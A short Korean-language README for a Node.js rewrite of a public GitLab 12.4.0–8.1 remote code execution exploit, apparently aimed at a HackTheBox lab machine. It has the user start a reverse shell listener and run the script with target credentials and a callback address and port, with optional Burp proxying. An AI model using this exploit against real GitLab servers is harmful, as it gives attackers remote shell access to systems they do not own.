
Gitlab v12.4.0-8.1 RCE
전적으로 https://github.com/dotPY-hax/gitlab_RCE 에 기반하며, 해당 스크립트는 저에게 작동하지 않았고 HTML 파싱 부분이 번거로워 보여서 JS로 다시 작성했습니다.
평소 방식대로 리버스 셸 핸들러를 시작한 다음 이 스크립트를 실행하세요:
TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
node gitlab_rce.js
프록시는 TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080"로 지정할 수 있습니다.
이것으로 디버깅할 때 Burp가 특히 유용합니다.